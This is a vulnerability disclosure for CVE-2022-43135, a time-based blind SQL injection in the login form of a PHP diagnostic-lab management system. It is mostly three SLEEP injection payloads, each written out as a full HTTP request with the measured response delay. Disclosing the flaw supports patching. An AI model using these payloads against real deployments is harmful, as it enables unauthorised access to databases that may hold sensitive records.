CVE-2022-43135: bug_report/SQLi-1.md at main · junHVV/bug_report

Online Diagnostic Lab Management System v1.0 by mayuri_k has SQL injection

BUG_Author: hujun

vendors:https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html

Vulnerability File: /diagnostic_0/diagnostic/login.php

POST parameter ‘username’ exists delayed injection vulnerability

Payload1: username=12’ AND (SELECT 2348 FROM (SELECT(SLEEP(5)))zxcv) AND 'bnm’=’bnm&password=ab&login=

POST /diagnostic_0/diagnostic/login.php HTTP/1.1
Host: localhost
Content-Length: 118
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/diagnostic_0/diagnostic/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: ci_session=pq7i0frcc6092gm4porg5cvqj5e9n54q; PHPSESSID=ngqgr9p2erqb85jg0veeql3i15
Connection: close

username=12%27+AND+%28SELECT+2348+FROM+%28SELECT%28SLEEP%285%29%29%29zxcv%29+AND+%27bnm%27%3D%27bnm&password=ab&login=

SELECT(SLEEP(5)), The server response time is 5 seconds

Payload2: username=12’ AND (SELECT 2348 FROM (SELECT(SLEEP(10)))zxcv) AND 'bnm’=’bnm&password=ab&login=

POST /diagnostic_0/diagnostic/login.php HTTP/1.1
Host: localhost
Content-Length: 119
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/diagnostic_0/diagnostic/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: ci_session=pq7i0frcc6092gm4porg5cvqj5e9n54q; PHPSESSID=ngqgr9p2erqb85jg0veeql3i15
Connection: close

username=12%27+AND+%28SELECT+2348+FROM+%28SELECT%28SLEEP%2810%29%29%29zxcv%29+AND+%27bnm%27%3D%27bnm&password=ab&login=

SELECT(SLEEP(10)), The server response time is 10 seconds

Payload3: username=12’ AND (SELECT 2348 FROM (SELECT(SLEEP(15)))zxcv) AND 'bnm’=’bnm&password=ab&login=

POST /diagnostic_0/diagnostic/login.php HTTP/1.1
Host: localhost
Content-Length: 119
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/diagnostic_0/diagnostic/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: ci_session=pq7i0frcc6092gm4porg5cvqj5e9n54q; PHPSESSID=ngqgr9p2erqb85jg0veeql3i15
Connection: close

username=12%27+AND+%28SELECT+2348+FROM+%28SELECT%28SLEEP%2815%29%29%29zxcv%29+AND+%27bnm%27%3D%27bnm&password=ab&login=

SELECT(SLEEP(15)), The server response time is 15 seconds